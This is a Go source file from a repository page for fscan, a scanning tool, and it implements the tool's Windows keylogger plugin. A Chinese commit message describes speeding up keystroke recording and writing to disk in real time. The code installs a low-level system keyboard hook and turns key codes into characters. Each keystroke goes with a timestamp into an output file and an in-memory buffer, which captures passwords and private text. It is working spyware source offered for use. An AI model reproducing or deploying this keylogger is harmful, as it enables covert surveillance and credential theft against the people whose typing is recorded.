fscan/Plugins/local/keylogger/keylogger_windows.go
ZacharyZcR 42522df80c perf: 优化Windows键盘记录性能和实时输出
- 重构键盘Hook架构,采用事件驱动模式降低系统影响
- 实现真正的实时文件写入,支持按键立即同步到磁盘
- 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应
- 使用非阻塞事件通道避免键盘Hook阻塞系统
- 简化键码转换逻辑,提升按键处理性能
- 解决文件输出延迟问题,支持键盘记录过程中实时查看
- 分离平台实现,Windows平台使用高效实时写入模式
2025-08-11 09:36:49 +08:00

301 lines
7.1 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// +build windows
package keylogger
import (
"context"
"fmt"
"os"
"syscall"
"time"
"unsafe"
"github.com/shadow1ng/fscan/common"
)
// Windows API 声明
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW")
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
)
const (
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_SYSKEYDOWN = 0x0104
)
type (
DWORD uint32
WPARAM uintptr
LPARAM uintptr
LRESULT uintptr
HANDLE uintptr
HHOOK HANDLE
HWND HANDLE
)
type POINT struct {
X, Y int32
}
type MSG struct {
HWND HWND
Message uint32
WParam WPARAM
LParam LPARAM
Time uint32
Pt POINT
}
type KBDLLHOOKSTRUCT struct {
VkCode DWORD
ScanCode DWORD
Flags DWORD
Time DWORD
DwExtraInfo uintptr
}
// 全局变量 - 简化版本
var (
windowsHook HHOOK
keylogger *KeyloggerPlugin
logFile *os.File
eventChannel chan KeyboardEvent
stopHookChan chan bool
)
// KeyboardEvent 键盘事件结构模仿gohook的设计
type KeyboardEvent struct {
Kind EventKind
Rawcode uint16
Keychar string
Timestamp time.Time
}
type EventKind int
const (
KeyDown EventKind = iota
KeyUp
)
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
common.LogInfo("启动Windows键盘记录 (高效版本)...")
keylogger = p
// 创建事件通道模仿gohook的设计
eventChannel = make(chan KeyboardEvent, 100)
stopHookChan = make(chan bool, 1)
// 打开日志文件进行实时写入
var err error
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
defer func() {
if logFile != nil {
logFile.Close()
logFile = nil
}
}()
// 写入文件头部
p.writeLogHeader()
// 启动Hook监听在独立goroutine中
go p.startKeyboardHook()
// 启动事件处理模仿你的for ev := range evChan的模式
return p.processEvents(ctx)
}
// startKeyboardHook 启动键盘Hook监听
func (p *KeyloggerPlugin) startKeyboardHook() {
// 安装Hook
hookProc := syscall.NewCallback(keyboardHookProc)
moduleHandle, _, _ := procGetModuleHandle.Call(0)
hook, _, _ := procSetWindowsHookEx.Call(
uintptr(WH_KEYBOARD_LL),
hookProc,
moduleHandle,
0,
)
if hook == 0 {
common.LogError("安装键盘Hook失败")
return
}
windowsHook = HHOOK(hook)
common.LogInfo("键盘Hook安装成功")
// 消息循环
msg := &MSG{}
for {
select {
case <-stopHookChan:
// 清理Hook
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
common.LogInfo("键盘Hook已清理")
return
default:
// 非阻塞消息处理
ret, _, _ := procGetMessage.Call(
uintptr(unsafe.Pointer(msg)),
0, 0, 0,
)
if ret == 0 || ret == 0xFFFFFFFF {
break
}
}
}
}
// keyboardHookProc Hook回调函数 - 最高效版本
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
// 立即调用下一个Hook确保系统响应
ret, _, _ := procCallNextHookEx.Call(
uintptr(windowsHook),
uintptr(nCode),
uintptr(wParam),
uintptr(lParam),
)
// 快速处理我们的逻辑
if nCode >= 0 && eventChannel != nil {
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
// 非阻塞发送事件
select {
case eventChannel <- KeyboardEvent{
Kind: KeyDown,
Rawcode: uint16(kbdStruct.VkCode),
Keychar: quickKeyChar(kbdStruct.VkCode),
Timestamp: time.Now(),
}:
default:
// 通道满了就跳过,不阻塞系统
}
}
}
return LRESULT(ret)
}
// processEvents 处理键盘事件 - 完全模仿你的设计
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
common.LogInfo("开始处理键盘事件...")
// 超时定时器
timeout := time.NewTimer(p.duration)
defer timeout.Stop()
// 完全模仿你的for ev := range evChan模式
for {
select {
case <-ctx.Done():
common.LogInfo("收到上下文取消信号,退出键盘记录")
stopHookChan <- true
return nil
case <-timeout.C:
common.LogInfo("键盘记录时间到达,退出记录")
stopHookChan <- true
return nil
case ev := <-eventChannel:
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown
if ev.Kind == KeyDown && ev.Keychar != "" {
// 写入文件 - 完全模仿你的实时写入模式
fmt.Fprintf(logFile, "[%s] %s\n",
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
logFile.Sync() // 模仿你的f.Sync()
// 添加到内存缓冲区用于统计
p.bufferMutex.Lock()
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
p.bufferMutex.Unlock()
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
}
}
}
}
// writeLogHeader 写入日志文件头部
func (p *KeyloggerPlugin) writeLogHeader() {
if logFile == nil {
return
}
// 模仿你的日志格式
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
fmt.Fprintf(logFile, "记录时长: %v\n", p.duration)
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
fmt.Fprintf(logFile, "================================\n\n")
logFile.Sync()
}
// quickKeyChar 快速键码转字符(高度优化版本)
func quickKeyChar(vkCode DWORD) string {
switch {
case vkCode >= 0x30 && vkCode <= 0x39: // 数字0-9
return string(rune(vkCode))
case vkCode >= 0x41 && vkCode <= 0x5A: // 字母A-Z
return string(rune(vkCode + 32)) // 转小写
case vkCode == 0x20:
return " "
case vkCode == 0x0D:
return "[Enter]"
case vkCode == 0x08:
return "[Backspace]"
case vkCode == 0x09:
return "[Tab]"
case vkCode == 0x10:
return "[Shift]"
case vkCode == 0x11:
return "[Ctrl]"
case vkCode == 0x12:
return "[Alt]"
case vkCode == 0x1B:
return "[Esc]"
default:
return "" // 跳过其他按键,保持高性能
}
}
// checkWindowsRequirements 检查Windows特定要求
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
common.LogInfo("检查Windows键盘记录权限...")
return nil
}
// 其他平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("Linux平台请使用专门的实现")
}
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("Darwin平台请使用专门的实现")
}
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}